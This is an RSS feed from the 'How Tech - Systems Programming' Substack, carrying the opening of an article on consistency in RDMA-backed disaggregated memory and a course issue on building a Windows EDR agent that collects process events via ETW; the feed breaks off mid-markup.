<script data-pm-proxy="intercept"></script><?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[How Tech - Systems Programming]]></title><description><![CDATA[Build Real Systems, Not Toy Projects
This isn't another course with abstract diagrams and theoretical discussions. You'll write code, debug performance problems, and optimize real systems under realistic load patterns.]]></description><link>https://howtech.substack.com</link><image><url>https://substackcdn.com/image/fetch/$s_!WVqZ!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460e7575-ea8a-4428-9851-35cd47d17a87_816x816.png</url><title>How Tech - Systems Programming</title><link>https://howtech.substack.com</link></image><generator>Substack</generator><lastBuildDate>Tue, 01 Sep 2026 14:17:26 GMT</lastBuildDate><atom:link href="/__u/howtech.substack.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Sumedh S]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[howtech@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[howtech@substack.com]]></itunes:email><itunes:name><![CDATA[Systems]]></itunes:name></itunes:owner><itunes:author><![CDATA[Systems]]></itunes:author><googleplay:owner><![CDATA[howtech@substack.com]]></googleplay:owner><googleplay:email><![CDATA[howtech@substack.com]]></googleplay:email><googleplay:author><![CDATA[Systems]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Software-Defined Disaggregated Memory: One-Sided RDMA and the Seqlock You Have to Build Yourself]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/software-defined-disaggregated-memory</link><guid isPermaLink="false">https://howtech.substack.com/p/software-defined-disaggregated-memory</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Mon, 31 Aug 2026 08:02:20 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!dr-H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every disaggregated-memory article in this series so far has approached the problem from the load/store side: CXL 3.0 decoders, HDM-DB back-invalidate coherence, <code>move_pages()</code>-driven NUMA tiering, DMA-batched data movement between memory tiers. All of that machinery assumes the disaggregated memory is reachable with ordinary CPU loads and stores, just across a slower interconnect than local DRAM.</p><p>RDMA-backed disaggregated memory is a different animal. A compute node doesn&#8217;t issue a load instruction against remote memory &#8212; it posts a work request to a Queue Pair, the RNIC performs a <strong>one-sided</strong> operation against a remote memory region, and the remote CPU is never interrupted. No remote lock, no remote memory barrier, no remote compiler ordering anything on your behalf. Every consistency guarantee you&#8217;d normally get for free from cache coherence has to be built into the wire protocol by hand. This article works through exactly that construction, using a real generation-counter cache-validation protocol, and it does not hide the two attempts that didn&#8217;t actually work.</p><p>The angle matters because it changes what &#8220;correctness&#8221; even means. On a CXL-attached device, the failure mode is usually a coherence protocol edge case &#8212; a decoder committed in the wrong order, a back-invalidate that races a demotion. Here, there is no coherence protocol at all to get an edge case in; there&#8217;s a raw byte array on a remote NIC, addressable by anyone holding the right key, with precisely as much synchronization as the client engineers into the access pattern. That&#8217;s a smaller, starker problem, and it turns out to be considerably easier to get subtly wrong than it looks on a whiteboard.</p><h2>2. Historical Background</h2><p>RDMA started as a way to move bulk data between HPC nodes without burning CPU cycles on <code>memcpy</code>. Verbs-based, kernel-bypass access &#8212; <code>ibv_reg_mr</code>, <code>ibv_post_send</code>, polling a completion queue &#8212; let InfiniBand and later RoCEv2 fabrics hit single-digit-microsecond latencies for one-sided reads and writes.</p><p>Disaggregated memory as an RDMA application is newer, growing out of systems research (FaRM, Infiniswap, and successors) built on a simple observation: if RDMA one-sided READ/WRITE latency is low enough, a fraction of a cluster&#8217;s DRAM can be pooled and served to memory-starved nodes over the fabric instead of over PCIe/CXL. Unlike CXL, which extends the coherence domain, RDMA-backed disaggregation deliberately stays outside it &#8212; the memory node&#8217;s CPU cache hierarchy is irrelevant because the memory node&#8217;s CPU is never touched by the access at all. That&#8217;s the whole appeal (near-zero remote CPU tax) and the whole problem (no coherence protocol to lean on).</p><p>The Linux kernel&#8217;s own RDMA stack (<code>drivers/infiniband</code>, <code>ib_core</code>, <code>ib_uverbs</code>) has been production-hardened for over a decade for exactly the transport primitives this deep dive builds on top of: memory registration, Queue Pair lifecycle, completion queue polling. What the kernel deliberately does <em>not</em> provide is any opinion about what a one-sided WRITE means to the application using it. That&#8217;s left entirely to userspace, which is precisely the gap FaRM-style systems fill with their own generation-counter and versioning schemes &#8212; the same gap this deep dive&#8217;s demo reproduces and gets wrong twice before getting right.</p><h2>3. Systems-Level Problem</h2><p>A compute node wants to keep a local cache of remote pages to avoid paying RDMA READ latency on every access. That cache needs a validity check: &#8220;is my cached copy still current?&#8221; The obvious mechanism is a per-page generation counter on the remote side, bumped on every write, checked by the reader before trusting the cache.</p><p>The problem is that &#8220;check gen, then copy data&#8221; is two separate one-sided operations, and one-sided RDMA gives no ordering guarantee between them unless you explicitly build one. Get the ordering wrong and you get exactly the class of bug this article&#8217;s demo reproduces: a reader that believes its cache is fresh when it demonstrably is not.</p><p>There&#8217;s a second, subtler layer to the problem that only shows up once the first is solved: even a perfectly-ordered check-then-copy pair only orders the check against <em>the write it was paired with</em>. A bulk payload copy &#8212; 64 bytes in this deep dive&#8217;s demo, potentially a full page in a production system &#8212; takes nonzero time, and nothing stops an entirely different, later write from landing on the same remote object while that copy is in flight. Solving the ordering problem and solving the torn-copy problem are not the same exercise, and conflating them is exactly the mistake this deep dive&#8217;s first fix attempt makes.</p><h2>4. Linux Kernel Architecture</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!dr-H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 424w, /__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 848w, /__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 1272w, /__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!dr-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png" width="632" height="471.1272727272727" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1025,&quot;width&quot;:1375,&quot;resizeWidth&quot;:632,&quot;bytes&quot;:153864,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/211984709?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 424w, /__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 848w, /__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 1272w, /__u/substackcdn.com/image/fetch/$s_!dr-H!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45875499-dc84-4a42-baef-0b81e1f6de59_1375x1025.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2></h2>
      <p>
          <a href="/__u/howtech.substack.com/p/software-defined-disaggregated-memory">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Issue 03 — Windows Agent: Process Events via ETW]]></title><description><![CDATA[Module 2 &#183; tag v03-windows-agent-etw]]></description><link>https://howtech.substack.com/p/issue-03-windows-agent-process-events</link><guid isPermaLink="false">https://howtech.substack.com/p/issue-03-windows-agent-process-events</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Sat, 29 Aug 2026 08:01:55 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!1iEB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><blockquote><p>This issue adds the Windows peer to the Linux agent: <code>windows-agent.exe</code> consumes process telemetry through Event Tracing for Windows (ETW) and emits the same OCSF-shaped <code>process_activity</code> JSON. Fixture replay covers CI and non-Windows hosts. Live sessions and service install belong on a Windows Reader VM with administrator rights.</p></blockquote><h2><strong>ETW providers, sessions, and consumers</strong></h2><blockquote><p>ETW is a publish&#8211;subscribe telemetry bus inside Windows. <strong>Providers</strong> emit typed events. A <strong>session</strong> (trace logger) enables one or more providers and buffers records. A <strong>consumer</strong> opens that session in real time or from an <code>.etl</code> file and decodes payloads.</p><p>Three roles matter for an EDR agent:</p></blockquote><p><strong>RoleExample in this issue</strong>Provider<code>Microsoft-Windows-Kernel-Process</code> (GUID <code>{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}</code>)SessionReal-time logger started with <code>StartTrace</code>, often as a system loggerConsumer<code>windows-agent</code> calling <code>OpenTrace</code> / <code>ProcessTrace</code></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><blockquote><p>ETW observation is enough for process start/stop and image-load telemetry in Phase A. A kernel <strong>minifilter</strong> becomes necessary when you must intercept or block file I/O on the write path &#8212; that cost and signing burden wait for later modules. Prefer ETW until prevention or file-blocking requirements force a driver.</p></blockquote><blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!1iEB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 424w, /__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 848w, /__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 1272w, /__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!1iEB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png" width="1456" height="852" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:852,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:291998,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/210333312?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 424w, /__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 848w, /__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 1272w, /__u/substackcdn.com/image/fetch/$s_!1iEB!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51cbfebb-00f6-4f03-a8e6-4e515e7e80dc_2460x1440.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ca<em>Caption: Providers feed a session; the agent consumes events. Command lines require the system logger path, not Kernel-Process alone.</em>ption...</figcaption></figure></div></blockquote><h2><strong>Command lines do not come from Kernel-Process alone</strong></h2><blockquote><p><code>Microsoft-Windows-Kernel-Process</code> ProcessStart payloads give process id, parent id, create time, and image name. They do <strong>not</strong> reliably supply the full command line that detection rules expect (<code>process.cmd_line</code> / classic Sigma <code>CommandLine</code>).</p><p>Plan for one of:</p></blockquote><ol><li><p><strong>NT Kernel Logger / system logger</strong> with <code>EVENT_TRACE_FLAG_PROCESS</code> (and <code>EVENT_TRACE_SYSTEM_LOGGER_MODE</code> on the session), and/or</p></li><li><p>A <strong>dual-provider</strong> design: Kernel-Process for kernel-sourced metadata + system logger for cmdline correlation by PID + create time.</p></li></ol><blockquote><p>Security Auditing event 4688 is a weaker usermode-oriented alternative; do not treat it as the primary EDR source.</p><p>Microsoft has been investing in a more isolated endpoint security platform with major vendors after the 2024 CrowdStrike outage, and has decoupled Defender for Endpoint sensor updates from the monthly OS cumulative train. This course still builds against today&#8217;s ETW surface &#8212; correct for learning &#8212; while that platform direction continues.</p></blockquote><h2><strong>Service, hashing, and OCSF parity</strong></h2><blockquote><p>Kernel ETW sessions typically require elevated rights and a process that outlives an interactive logon. Lab 3 installs <code>windows-agent.exe</code> as a Windows Service (<code>SystemdrdWindowsAgent</code>) so the session survives user logout. Console <code>--mode live</code> is enough for early capture labs; production-shaped installs use the service path.</p><p>SHA256 of the image path is expensive if recomputed on every start and every DLL load. A small cache keyed by path + size + mtime (or fixture content) keeps CPU within a demoable budget. Empty hashes while claiming file identity for Module 7 fixtures create false gaps &#8212; populate when the file is readable; skip and leave <code>sha256</code> null when it is not.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!Y7v1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 424w, /__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 848w, /__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 1272w, /__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!Y7v1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png" width="1456" height="764" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:764,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:244378,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/210333312?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 424w, /__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 848w, /__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 1272w, /__u/substackcdn.com/image/fetch/$s_!Y7v1!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcc1c2d19-ff58-4ac3-ab48-ce7c8822efa4_2400x1260.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" 